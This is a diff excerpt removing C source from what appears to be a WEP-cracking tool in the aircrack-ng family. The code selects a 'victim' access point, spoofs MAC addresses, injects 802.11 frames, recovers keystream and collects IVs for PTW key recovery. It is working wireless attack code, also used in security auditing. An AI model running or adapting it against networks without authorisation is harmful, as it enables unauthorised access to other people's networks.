-	struct timeval ws_tsent;
-	int ws_retries;
-	unsigned int ws_psent;
-
-	/* chan_info */
-	int ws_chan;
-
-	/* victim_info */
-	char * ws_ssid;
-	int ws_apchan;
-	unsigned char ws_bss[6];
-
-	struct frag_state ws_fs;
-	struct prga_info ws_pi;
-
-	/* decrypt_state */
-	unsigned char * ws_cipher;
-	int ws_clen;
-	struct prga_info ws_dpi;
-	struct frag_state ws_dfs;
-
-	/* wep_log */
-	unsigned int ws_packets;
-	unsigned int ws_rate;
-	int ws_fd;
-	unsigned char ws_iv[3];
-} _wstate;
-
-#define KEYHSBYTES PTW_KEYHSBYTES
-
-int PTW_DEFAULTWEIGHT[1] = {256};
-int PTW_DEFAULTBF[PTW_KEYHSBYTES]
-	= {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
-	   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
-
-struct timeval t_begin; /* time at start of attack      */
-struct timeval t_stats; /* time since last update       */
-
-static void cleanup(int x);
-void show_wep_stats(int B,
-					int force,
-					PTW_tableentry table[PTW_KEYHSBYTES][PTW_n],
-					int choices[KEYHSBYTES],
-					int depth[KEYHSBYTES],
-					int prod,
-					int keylimit);
-
-/* display the current votes */
-
-void show_wep_stats(int B,
-					int force,
-					PTW_tableentry table[PTW_KEYHSBYTES][PTW_n],
-					int choices[KEYHSBYTES],
-					int depth[KEYHSBYTES],
-					int prod,
-					int keylimit)
-{
-	float delta;
-	struct winsize ws;
-	int i, et_h, et_m, et_s;
-	static int is_cleared = 0;
-
-	(void) B;
-	(void) force;
-	(void) table;
-	(void) choices;
-	(void) depth;
-	(void) prod;
-	(void) keylimit;
-
-	(void) delta;
-	(void) ws;
-	(void) i;
-	(void) et_h;
-	(void) et_m;
-	(void) et_s;
-	(void) is_cleared;
-
-	return;
-	/*
-	if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 )
-	{
-		ws.ws_row = 25;
-		ws.ws_col = 80;
-	}
-
-	if( (chrono( &t_stats, 0 ) < 1.51) && force == 0 )
-		return;
-
-	chrono( &t_stats, 1 );
-
-	delta = chrono( &t_begin, 0 );
-
-	et_h =   delta / 3600;
-	et_m = ( delta - et_h * 3600 ) / 60;
-	et_s =   delta - et_h * 3600 - et_m * 60;
-
-	if( is_cleared == 0 )
-	{
-		is_cleared++;
-
-		printf( "\33[2J" );
-	}
-
-	if(table)
-		printf( "\33[5;%dH[%02d:%02d:%02d] Tested %d/%d keys\33[K",
-				(ws.ws_col - 44) / 2, et_h, et_m, et_s, prod, keylimit );
-
-	printf( "\33[7;4HKB    depth   byte(vote)\n" );
-
-	for( i = 0; i <= B; i++ )
-	{
-		int j, k = ( ws.ws_col - 20 ) / 9;
-
-		if(table)
-			printf( "   %2d  %3d/%3d   ",
-					i, depth[i], choices[i] );
-
-		if(table)
-		{
-			for( j = depth[i]; j < k + depth[i]; j++ )
-			{
-				if( j >= 256 ) break;
-
-				printf( "%02X(%4d) ",  table[i][j].b,
-						table[i][j].votes );
-			}
-		}
-		printf( "\n" );
-	}
-
-//    if( B < opt.keylen - 1 )
-//        printf( "\33[J" );
-
-	printf( "\n" );
-	*/
-}
-
-static struct wstate * get_ws(void) { return &_wstate; }
-
-static void time_print(char * fmt, ...)
-{
-	va_list ap;
-	char lame[1024];
-	time_t tt;
-	struct tm * t;
-
-	va_start(ap, fmt);
-	vsnprintf(lame, sizeof(lame), fmt, ap);
-	va_end(ap);
-
-	tt = time(NULL);
-
-	if (tt == (time_t) -1)
-	{
-		perror("time()");
-		exit(1);
-	}
-
-	t = localtime(&tt);
-	if (!t)
-	{
-		perror("localtime()");
-		exit(1);
-	}
-
-	printf("[%.2d:%.2d:%.2d] %s", t->tm_hour, t->tm_min, t->tm_sec, lame);
-}
-
-static void check_key(struct wstate * ws)
-{
-	char buf[1024];
-	int fd;
-	int rd;
-	struct timeval now;
-
-	fd = open(KEY_FILE, O_RDONLY);
-
-	if (fd == -1)
-	{
-		return;
-	}
-
-	rd = read(fd, buf, sizeof(buf) - 1);
-	if (rd == -1)
-	{
-		perror("read()");
-		exit(1);
-	}
-
-	buf[rd] = 0;
-
-	close(fd);
-
-	printf("\n\n");
-	time_print("KEY=(%s)\n", buf);
-
-	if (gettimeofday(&now, NULL) == -1)
-	{
-		perror("gettimeofday()");
-		exit(1);
-	}
-
-	printf("Owned in %.02f minutes\n",
-		   ((double) now.tv_sec - ws->ws_real_start.tv_sec) / 60.0);
-
-	cleanup(0);
-	exit(0);
-}
-
-static void kill_crack(struct wstate * ws)
-{
-	if (ws->ws_crack_pid == 0) return;
-
-	printf("\n");
-	time_print("Stopping crack PID=%d\n", ws->ws_crack_pid);
-
-	// XXX doesn't return -1 for some reason! [maybe on my box... so it
-	// might be buggy on other boxes...]
-	if (kill(ws->ws_crack_pid, SIGINT) == -1)
-	{
-#if 0
-		perror("kill()");
-		exit(1);
-#endif
-	}
-
-	ws->ws_crack_pid = 0;
-
-	check_key(ws);
-}
-
-static void cleanup(int x)
-{
-	struct wstate * ws = get_ws();
-
-	printf("\n");
-	time_print("Dying...\n");
-
-	if (x)
-	{
-	} /* XXX unused */
-
-	if (ws->ws_fd) close(ws->ws_fd);
-
-	kill_crack(ws);
-
-	if (ws->ws_wi) wi_close(ws->ws_wi);
-
-	if (ws->ws_ssid) free(ws->ws_ssid);
-
-	exit(0);
-}
-
-static void set_chan(struct wstate * ws, int c)
-{
-	if (c == ws->ws_chan) return;
-
-	if (wi_set_channel(ws->ws_wi, c)) err(1, "wi_set_channel()");
-
-	ws->ws_chan = c;
-}
-
-static void hexdump(unsigned char * ptr, int len)
-{
-	while (len > 0)
-	{
-		printf("%.2X ", *ptr);
-		ptr++;
-		len--;
-	}
-	printf("\n");
-}
-
-static char * mac2str(unsigned char * mac)
-{
-	static char ret[6 * 3];
-
-	snprintf(ret,
-			 (6 * 3),
-			 "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
-			 mac[0],
-			 mac[1],
-			 mac[2],
-			 mac[3],
-			 mac[4],
-			 mac[5]);
-
-	return ret;
-}
-
-static void inject(struct wif * wi, void * buf, int len)
-{
-	int rc;
-
-	rc = wi_write(wi, buf, len, NULL);
-
-	if (rc == -1)
-	{
-		perror("writev()");
-		exit(1);
-	}
-	if (rc != len)
-	{
-		time_print("ERROR: Packet length changed while transmitting (%d "
-				   "instead of %d).\n",
-				   rc,
-				   len);
-		exit(1);
-	}
-}
-
-static void send_frame(struct wstate * ws, unsigned char * buf, int len)
-{
-	static unsigned char * lame = 0;
-	static int lamelen = 0;
-	static int lastlen = 0;
-
-	// retransmit!
-	if (len == -1)
-	{
-		ws->ws_retries++;
-
-		if (ws->ws_ignore_ack && ws->ws_retries >= ws->ws_ignore_ack)
-		{
-			ws->ws_waiting_ack = 0;
-			return;
-		}
-
-		if (ws->ws_retries > 10)
-		{
-			time_print("ERROR Max retransmists for (%d bytes):\n", lastlen);
-			hexdump(&lame[0], lastlen);
-#if 0
-			txstate.waiting_ack = 0;
-			return;
-#endif
-		}
-		len = lastlen;
-		//		printf("Warning doing a retransmit...\n");
-	}
-	// normal tx
-	else
-	{
-		assert(!ws->ws_waiting_ack);
-
-		if (len > lamelen)
-		{
-			if (lame) free(lame);
-
-			lame = (unsigned char *) malloc(len);
-			if (!lame)
-			{
-				perror("malloc()");
-				exit(1);
-			}
-
-			lamelen = len;
-		}
-
-		memcpy(lame, buf, len);
-		ws->ws_retries = 0;
-		lastlen = len;
-	}
-
-	inject(ws->ws_wi, lame, len);
-
-	if (ws->ws_ignore_ack != 1) ws->ws_waiting_ack = 1;
-
-	ws->ws_psent++;
-	if (gettimeofday(&ws->ws_tsent, NULL) == -1)
-	{
-		perror("gettimeofday()");
-		exit(1);
-	}
-
-#if 0
-	printf("Wrote frame at %lu.%lu\n",
-	       txstate.tsent.tv_sec, txstate.tsent.tv_usec);
-#endif
-}
-
-/* Expects host-endian arguments, but returns little-endian seq. */
-static unsigned short fnseq(unsigned short fn, unsigned short seq)
-{
-	unsigned short r = 0;
-
-	if (fn > 15)
-	{
-		time_print("too many fragments (%d)\n", fn);
-		exit(1);
-	}
-
-	r = fn;
-
-	r |= ((seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
-
-	return htole16(r);
-}
-
-static void fill_basic(struct wstate * ws, struct ieee80211_frame * wh)
-{
-	unsigned short * sp;
-
-	memcpy(wh->i_addr1, ws->ws_bss, 6);
-	memcpy(wh->i_addr2, ws->ws_mymac, 6);
-	memcpy(wh->i_addr3, ws->ws_bss, 6);
-
-	sp = (unsigned short *) wh->i_seq;
-	*sp = fnseq(0, ws->ws_psent);
-
-	sp = (unsigned short *) wh->i_dur;
-	*sp = htole16(32767);
-}
-
-static void send_assoc(struct wstate * ws)
-{
-	unsigned char buf[128];
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
-	unsigned char * body;
-	int ssidlen;
-
-	memset(buf, 0, sizeof(buf));
-	fill_basic(ws, wh);
-	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
-
-	body = (unsigned char *) wh + sizeof(*wh);
-	*body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
-	// cap + interval
-	body += 2 + 2;
-
-	// ssid
-	*body++ = 0;
-	ssidlen = strlen(ws->ws_ssid);
-	*body++ = ssidlen;
-	memcpy(body, ws->ws_ssid, ssidlen);
-	body += ssidlen;
-
-	// rates
-	*body++ = IEEE80211_ELEMID_RATES;
-	*body++ = 8;
-	*body++ = 2 | 0x80;
-	*body++ = 4 | 0x80;
-	*body++ = 11 | 0x80;
-	*body++ = 22 | 0x80;
-	*body++ = 12 | 0x80;
-	*body++ = 24 | 0x80;
-	*body++ = 48 | 0x80;
-	*body++ = 72;
-
-	/* x-rates */
-	*body++ = IEEE80211_ELEMID_XRATES;
-	*body++ = 4;
-	*body++ = 48;
-	*body++ = 72;
-	*body++ = 96;
-	*body++ = 108;
-
-	send_frame(ws, buf, (unsigned long) body - (unsigned long) buf);
-}
-
-static void wepify(struct wstate * ws, unsigned char * body, int dlen)
-{
-	uLong crc;
-	unsigned int * pcrc;
-	int i;
-
-	assert(dlen + 4 <= ws->ws_pi.pi_len);
-
-	// iv
-	memcpy(body, ws->ws_pi.pi_iv, 3);
-	body += 3;
-	*body++ = 0;
-
-	// crc
-	crc = crc32(0L, Z_NULL, 0);
-	crc = crc32(crc, body, dlen);
-	pcrc = (unsigned int *) (body + dlen);
-	*pcrc = htole32(crc);
-
-	for (i = 0; i < dlen + 4; i++) *body++ ^= ws->ws_pi.pi_prga[i];
-}
-
-static void send_auth(struct wstate * ws)
-{
-	unsigned char buf[128];
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
-	unsigned short * n;
-
-	memset(buf, 0, sizeof(buf));
-	fill_basic(ws, wh);
-	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
-
-	n = (unsigned short *) ((unsigned char *) wh + sizeof(*wh));
-	n++;
-	*n = htole16(1);
-
-	send_frame(ws, buf, sizeof(*wh) + 2 + 2 + 2);
-}
-
-static int
-get_victim_ssid(struct wstate * ws, struct ieee80211_frame * wh, int len)
-{
-	unsigned char * ptr;
-	int x;
-	int gots = 0, gotc = 0;
-
-	if (len <= (int) sizeof(*wh))
-	{
-		time_print("Warning: short packet in get_victim_ssid()\n");
-		return 0;
-	}
-
-	ptr = (unsigned char *) wh + sizeof(*wh);
-	len -= sizeof(*wh);
-
-	// only wep baby
-	if (!(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY))
-	{
-		return 0;
-	}
-
-	// we want a specific victim
-	if (ws->ws_victim_mac)
-	{
-		if (memcmp(wh->i_addr3, ws->ws_victim_mac, 6) != 0) return 0;
-	}
-
-	// beacon header
-	x = 8 + 2 + 2;
-	if (len <= x)
-	{
-		time_print("Warning short.\n");
-		return 0;
-	}
-
-	ptr += x;
-	len -= x;
-
-	// SSID
-	while (len > 2)
-	{
-		int eid, elen;
-
-		eid = *ptr;
-		ptr++;
-		elen = *ptr;
-		ptr++;
-		len -= 2;
-
-		if (len < elen)
-		{
-			time_print("Warning short....\n");
-			return 0;
-		}
-
-		// ssid
-		if (eid == 0)
-		{
-			if (ws->ws_ssid) free(ws->ws_ssid);
-
-			ws->ws_ssid = (char *) malloc(elen + 1);
-			if (!ws->ws_ssid)
-			{
-				perror("malloc()");
-				exit(1);
-			}
-
-			memcpy(ws->ws_ssid, ptr, elen);
-			ws->ws_ssid[elen] = 0;
-			gots = 1;
-		}
-		// chan
-		else if (eid == 3)
-		{
-			if (elen != 1)
-			{
-				time_print("Warning len of chan not 1\n");
-				return 0;
-			}
-
-			ws->ws_apchan = *ptr;
-			gotc = 1;
-		}
-
-		ptr += elen;
-		len -= elen;
-	}
-
-	if (gots && gotc)
-	{
-		memcpy(ws->ws_bss, wh->i_addr3, 6);
-		set_chan(ws, ws->ws_apchan);
-		ws->ws_state = FOUND_VICTIM;
-		time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
-				   ws->ws_ssid,
-				   mac2str(ws->ws_bss),
-				   ws->ws_apchan);
-		return 1;
-	}
-	return 0;
-}
-
-static void send_ack(struct wstate * ws)
-{
-	if (ws)
-	{
-	} /* XXX unused */
-	/* firmware acks */
-}
-
-static void do_llc(unsigned char * buf, unsigned short type)
-{
-	struct llc * h = (struct llc *) buf;
-
-	memset(h, 0, sizeof(*h));
-	h->llc_dsap = LLC_SNAP_LSAP;
-	h->llc_ssap = LLC_SNAP_LSAP;
-	h->llc_un.type_snap.control = 3;
-	h->llc_un.type_snap.ether_type = htons(type);
-}
-
-static void set_prga(struct wstate * ws,
-					 unsigned char * iv,
-					 unsigned char * cipher,
-					 unsigned char * clear,
-					 int len)
-{
-	int i;
-	int fd;
-
-	if (ws->ws_pi.pi_len != 0) free(ws->ws_pi.pi_prga);
-
-	ws->ws_pi.pi_prga = (unsigned char *) malloc(len);
-	if (!ws->ws_pi.pi_prga)
-	{
-		perror("malloc()");
-		exit(1);
-	}
-
-	ws->ws_pi.pi_len = len;
-	memcpy(ws->ws_pi.pi_iv, iv, 3);
-
-	for (i = 0; i < len; i++)
-	{
-		ws->ws_pi.pi_prga[i] = (cipher ? (clear[i] ^ cipher[i]) : clear[i]);
-	}
-
-	time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
-			   ws->ws_pi.pi_len,
-			   ws->ws_pi.pi_iv[0],
-			   ws->ws_pi.pi_iv[1],
-			   ws->ws_pi.pi_iv[2]);
-	hexdump(ws->ws_pi.pi_prga, ws->ws_pi.pi_len);
-
-	if (!cipher) return;
-
-	fd = open(
-		PRGA_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
-
-	if (fd == -1)
-	{
-		perror("open()");
-		exit(1);
-	}
-
-	i = write(fd, ws->ws_pi.pi_iv, 3);
-	if (i == -1)
-	{
-		perror("write()");
-		exit(1);
-	}
-	if (i != 3)
-	{
-		printf("Wrote %d out of %d\n", i, 3);
-		exit(1);
-	}
-
-	i = write(fd, ws->ws_pi.pi_prga, ws->ws_pi.pi_len);
-	if (i == -1)
-	{
-		perror("write()");
-		exit(1);
-	}
-	if (i != ws->ws_pi.pi_len)
-	{
-		printf("Wrote %d out of %d\n", i, ws->ws_pi.pi_len);
-		exit(1);
-	}
-
-	close(fd);
-}
-
-static void proc_ctl(struct wstate * ws, int stype)
-{
-	if (stype == IEEE80211_FC0_SUBTYPE_ACK)
-	{
-		ws->ws_waiting_ack = 0;
-		return;
-	}
-	else if (stype == IEEE80211_FC0_SUBTYPE_RTS)
-	{
-		return;
-	}
-	else if (stype == IEEE80211_FC0_SUBTYPE_CTS)
-	{
-		return;
-	}
-
-	time_print("got CTL=%x\n", stype);
-}
-
-static void proc_mgt(struct wstate * ws, int stype, unsigned char * body)
-{
-	unsigned short * rc;
-	unsigned short * sc;
-	unsigned int aid;
-
-	if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH)
-	{
-		rc = (unsigned short *) body;
-
-		printf("\n");
-		time_print("Got deauth=%u\n", le16toh(*rc));
-		ws->ws_state = FOUND_VICTIM;
-		return;
-	}
-	else if (stype == IEEE80211_FC0_SUBTYPE_AUTH)
-	{
-		sc = (unsigned short *) body;
-
-		if (ws->ws_state != SENDING_AUTH) /* We didn't ask for it. */
-			return;
-
-		if (le16toh(*sc) != 0)
-		{
-			time_print("Warning got auth algo=%x\n", le16toh(*sc));
-			exit(1);
-			return;
-		}
-		sc++;
-
-		if (le16toh(*sc) != 2)
-		{
-			time_print("Warning got auth seq=%x\n", le16toh(*sc));
-			return;
-		}
-
-		sc++;
-
-		if (le16toh(*sc) == 1)
-		{
-			time_print("Auth rejected.  Spoofin mac.\n");
-			ws->ws_state = SPOOF_MAC;
-			return;
-		}
-		else if (le16toh(*sc) == 0)
-		{
-			time_print("Authenticated\n");
-			ws->ws_state = GOT_AUTH;
-			return;
-		}
-		else
-		{
-			time_print("Got auth %x\n", *sc);
-			exit(1);
-		}
-	}
-	else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP)
-	{
-		sc = (unsigned short *) body;
-		sc++; // cap
-
-		if (ws->ws_state != SENDING_ASSOC) /* We didn't ask for it. */
-			return;
-
-		if (le16toh(*sc) == 0)
-		{
-			sc++;
-			aid = le16toh(*sc) & 0x3FFF;
-			time_print("Associated (ID=%x)\n", aid);
-			ws->ws_state = GOT_ASSOC;
-			return;
-		}
-		else if (le16toh(*sc) == 12 || le16toh(*sc) == 1)
-		{
-			time_print("Assoc rejected..."
-					   " trying to spoof mac.\n");
-			ws->ws_state = SPOOF_MAC;
-			return;
-		}
-		else
-		{
-			time_print("got assoc %d\n", le16toh(*sc));
-			exit(1);
-		}
-	}
-	else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP)
-	{
-		return;
-	}
-
-	time_print("\nGOT MAN=%x\n", stype);
-	exit(1);
-}
-
-static void proc_data(struct wstate * ws, struct ieee80211_frame * wh, int len)
-{
-	int dlen;
-	dlen = len - sizeof(*wh) - 4 - 4;
-
-	if (!(wh->i_fc[1] & IEEE80211_FC1_WEP))
-	{
-		time_print("WARNING: Got NON wep packet from %s dlen %d\n",
-				   mac2str(wh->i_addr2),
-				   dlen);
-		return;
-	}
-
-	assert(wh->i_fc[1] & IEEE80211_FC1_WEP);
-
-	if ((dlen == 36 || dlen == PADDED_ARPLEN)
-		&& ws->ws_rtrmac == (unsigned char *) 1)
-	{
-		ws->ws_rtrmac = (unsigned char *) malloc(6);
-		if (!ws->ws_rtrmac)
-		{
-			perror("malloc()");
-			exit(1);
-		}
-
-		assert(ws->ws_rtrmac > (unsigned char *) 1);
-
-		memcpy(ws->ws_rtrmac, wh->i_addr3, 6);
-		time_print("Got arp reply from (%s)\n", mac2str(ws->ws_rtrmac));
-
-		return;
-	}
-}
-
-static void
-stuff_for_us(struct wstate * ws, struct ieee80211_frame * wh, int len)
-{
-	int type, stype;
-	unsigned char * body = (unsigned char *) (wh + 1);
-
-	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
-	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
-
-	// CTL
-	if (type == IEEE80211_FC0_TYPE_CTL)
-	{
-		proc_ctl(ws, stype);
-		return;
-	}
-
-	// MGM
-	if (type == IEEE80211_FC0_TYPE_MGT)
-	{
-		proc_mgt(ws, stype, body);
-		return;
-	}
-
-	/* Data */
-	if (type == IEEE80211_FC0_TYPE_DATA && stype == IEEE80211_FC0_SUBTYPE_DATA)
-	{
-		proc_data(ws, wh, len);
-		return;
-	}
-
-#if 0
-	printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
-		type, stype, mac2str(wh->i_addr2), len);
-#endif
-}
-
-static void
-decrypt_arpreq(struct wstate * ws, struct ieee80211_frame * wh, int rd)
-{
-	unsigned char * body;
-	int bodylen;
-	unsigned char clear[36];
-	unsigned char * ptr;
-	struct arphdr * h;
-	int i;
-
-	body = (unsigned char *) wh + sizeof(*wh);
-	ptr = clear;
-
-	// calculate clear-text
-	memcpy(ptr, S_LLC_SNAP_ARP, sizeof(S_LLC_SNAP_ARP) - 1);
-	ptr += sizeof(S_LLC_SNAP_ARP) - 1;
-
-	h = (struct arphdr *) ptr;
-	h->ar_hrd = htons(ARPHRD_ETHER);
-	h->ar_pro = htons(ETHERTYPE_IP);
-	h->ar_hln = 6;
-	h->ar_pln = 4;
-	h->ar_op = htons(ARPOP_REQUEST);
-	ptr += sizeof(*h);
-
-	memcpy(ptr, wh->i_addr3, 6);
-
-	bodylen = rd - sizeof(*wh) - 4 - 4;
-	ws->ws_clen = bodylen;
-	ws->ws_cipher = (unsigned char *) malloc(ws->ws_clen);
-	if (!ws->ws_cipher)
-	{
-		perror("malloc()");
-		exit(1);
-	}
-	ws->ws_dpi.pi_prga = (unsigned char *) malloc(ws->ws_clen);
-	if (!ws->ws_dpi.pi_prga)
-	{
-		perror("malloc()");
-		exit(1);
-	}
-
-	memcpy(ws->ws_cipher, &body[4], ws->ws_clen);
-	memcpy(ws->ws_dpi.pi_iv, body, 3);
-
-	memset(ws->ws_dpi.pi_prga, 0, ws->ws_clen);
-	for (i = 0; i < (8 + 8 + 6); i++)
-	{
-		ws->ws_dpi.pi_prga[i] = ws->ws_cipher[i] ^ clear[i];
-	}
-
-	ws->ws_dpi.pi_len = i;
-	time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
-}
-
-static void log_wep(struct wstate * ws, struct ieee80211_frame * wh, int len)
-{
-	int rd;
-	struct pcap_pkthdr pkh;
-	struct timeval tv;
-	unsigned char * body = (unsigned char *) (wh + 1);
-
-	memset(&pkh, 0, sizeof(pkh));
-	pkh.caplen = pkh.len = len;
-	if (gettimeofday(&tv, NULL) == -1) err(1, "gettimeofday()");
-	pkh.tv_sec = tv.tv_sec;
-	pkh.tv_usec = tv.tv_usec;
-	if (write(ws->ws_fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()");
-
-	rd = write(ws->ws_fd, wh, len);
-
-	if (rd == -1)
-	{
-		perror("write()");
-		exit(1);
-	}
-	if (rd != len)
-	{
-		time_print("short write %d out of %d\n", rd, len);
-		exit(1);
-	}
-
-#if 0
-	if (fsync(ws->ws_fd) == -1) {
-		perror("fsync()");
-		exit(1);
-	}
-#endif
-
-	memcpy(ws->ws_iv, body, 3);
-	ws->ws_packets++;
-}
-
-static void
-add_keystream(struct wstate * ws, struct ieee80211_frame * wh, int rd)
-{
-	unsigned char clear[1024];
-	int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
-	int clearsize;
-	unsigned char * body = (unsigned char *) (wh + 1);
-	int i, weight[16], k, j;
-
-	k = known_clear(clear, &clearsize, weight, (void *) wh, dlen);
-	if (clearsize < 16) return;
-
-	for (j = 0; j < k; j++)
-	{
-		for (i = 0; i < clearsize; i++) clear[i + (32 * j)] ^= body[4 + i];
-	}
-	PTW_addsession(ws->ws_ptw, body, clear, weight, k);
-}
-
-static void got_ip(struct wstate * ws)
-{
-	unsigned char ip[4];
-	int i;
-	struct in_addr * in = (struct in_addr *) ip;
-	char * ptr;
-
-	for (i = 0; i < 4; i++)
-		ip[i]
-			= ws->ws_cipher[8 + 8 + 6 + i] ^ ws->ws_dpi.pi_prga[8 + 8 + 6 + i];
-
-	assert(!ws->ws_netip);
-	ws->ws_netip = malloc(16);
-	if (!ws->ws_netip)
-	{
-		perror("malloc()");
-		exit(1);
-	}
-
-	memset(ws->ws_netip, 0, 16);
-	strncpy(ws->ws_netip, inet_ntoa(*in), 16 - 1);
-
-	time_print("Got IP=(%s)\n", ws->ws_netip);
-	memset(ws->ws_myip, 0, sizeof(ws->ws_myip));
-	strncpy(ws->ws_myip, ws->ws_netip, sizeof(ws->ws_myip) - 1);
-
-	ptr = strchr(ws->ws_myip, '.');
-	assert(ptr);
-	ptr = strchr(ptr + 1, '.');
-	assert(ptr);
-	ptr = strchr(ptr + 1, '.');
-	assert(ptr);
-	strncpy(ptr + 1, "123", 4);
-
-	time_print("My IP=(%s)\n", ws->ws_myip);
-
-	/* clear decrypt state */
-	free(ws->ws_dpi.pi_prga);
-	free(ws->ws_cipher);
-	ws->ws_cipher = 0;
-	ws->ws_clen = 0;
-	memset(&ws->ws_dpi, 0, sizeof(ws->ws_dpi));
-	memset(&ws->ws_dfs, 0, sizeof(ws->ws_dfs));
-}
-
-static void check_relay(struct wstate * ws,
-						struct ieee80211_frame * wh,
-						unsigned char * body,
-						int dlen)
-{
-	// looks like it...
-	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
-		&& (memcmp(wh->i_addr3, ws->ws_mymac, 6) == 0)
-		&& (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0)
-		&& dlen == ws->ws_fs.fs_len)
-	{
-
-		//		printf("I fink AP relayed it...\n");
-		set_prga(ws, body, &body[4], ws->ws_fs.fs_data, dlen);
-		free(ws->ws_fs.fs_data);
-		ws->ws_fs.fs_data = 0;
-		ws->ws_fs.fs_waiting_relay = 0;
-	}
-
-	// see if we get the multicast stuff of when decrypting
-	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
-		&& (memcmp(wh->i_addr3, ws->ws_mymac, 6) == 0)
-		&& (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0)
-		&& dlen == 36)
-	{
-
-		unsigned char pr = wh->i_addr1[5];
-
-		printf("\n");
-		time_print("Got clear-text byte: %d\n",
-				   ws->ws_cipher[ws->ws_dpi.pi_len - 1] ^ pr);
-
-		ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len - 1] = pr;
-		ws->ws_dpi.pi_len++;
-		ws->ws_dfs.fs_waiting_relay = 1;
-
-		// ok we got the ip...
-		if (ws->ws_dpi.pi_len == 26 + 1)
-		{
-			got_ip(ws);
-		}
-	}
-}
-
-static void got_wep(struct wstate * ws, struct ieee80211_frame * wh, int rd)
-{
-	int bodylen;
-	int dlen;
-	unsigned char clear[1024];
-	int clearsize;
-	unsigned char * body;
-
-	bodylen = rd - sizeof(struct ieee80211_frame);
-
-	dlen = bodylen - 4 - 4;
-	body = (unsigned char *) wh + sizeof(*wh);
-
-	// log it if its stuff not from us...
-	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
-		|| ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
-			&& memcmp(wh->i_addr2, ws->ws_mymac, 6) != 0))
-	{
-
-		if (body[3] != 0)
-		{
-			time_print("Key index=%x!!\n", body[3]);
-			exit(1);
-		}
-		log_wep(ws, wh, rd);
-		add_keystream(ws, wh, rd);
-	}
-
-	// look for arp-request packets... so we can decrypt em
-	if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
-		&& (memcmp(wh->i_addr3, ws->ws_mymac, 6) != 0)
-		&& (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0)
-		&& (dlen == 36 || dlen == PADDED_ARPLEN)
-		&& !ws->ws_cipher
-		&& !ws->ws_netip)
-	{
-		decrypt_arpreq(ws, wh, rd);
-	}
-
-	// we have prga... check if its our stuff being relayed...
-	if (ws->ws_pi.pi_len != 0)
-	{
-		check_relay(ws, wh, body, dlen);
-		return;
-	}
-
-	known_clear(clear, &clearsize, NULL, (void *) wh, dlen);
-	time_print("Datalen %d Known clear %d\n", dlen, clearsize);
-
-	set_prga(ws, body, &body[4], clear, clearsize);
-}
-
-static void
-stuff_for_net(struct wstate * ws, struct ieee80211_frame * wh, int rd)
-{
-	int type, stype;
-
-	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
-	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
-
-	if (type == IEEE80211_FC0_TYPE_DATA && stype == IEEE80211_FC0_SUBTYPE_DATA)
-	{
-		int dlen = rd - sizeof(struct ieee80211_frame);
-
-		if (ws->ws_state == SPOOF_MAC)
-		{
-			unsigned char mac[6];
-			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
-			{
-				memcpy(mac, wh->i_addr3, 6);
-			}
-			else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
-			{
-				memcpy(mac, wh->i_addr1, 6);
-			}
-			else
-				assert(0);
-
-			if (mac[0] == 0xff || mac[0] == 0x1) return;
-
-			memcpy(ws->ws_mymac, mac, 6);
-			time_print("Trying to use MAC=(%s)\n", mac2str(ws->ws_mymac));
-			ws->ws_state = FOUND_VICTIM;
-			return;
-		}
-
-		// wep data!
-		if ((wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4 + 8 + 4))
-		{
-			got_wep(ws, wh, rd);
-		}
-	}
-}
-
-static void anal(struct wstate * ws, unsigned char * buf, int rd) // yze
-{
-	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
-	int type, stype;
-	static int lastseq = -1;
-	int seq;
-	unsigned short * seqptr;
-	int for_us = 0;
-
-	if (rd < 1)
-	{
-		time_print("rd=%d\n", rd);
-		exit(1);
-	}
-
-	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
-	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
-
-	// sort out acks
-	if (ws->ws_state >= FOUND_VICTIM)
-	{
-		// stuff for us
-		if (memcmp(wh->i_addr1, ws->ws_mymac, 6) == 0)
-		{
-			for_us = 1;
-			if (type != IEEE80211_FC0_TYPE_CTL) send_ack(ws);
-		}
-	}
-
-	// XXX i know it aint great...
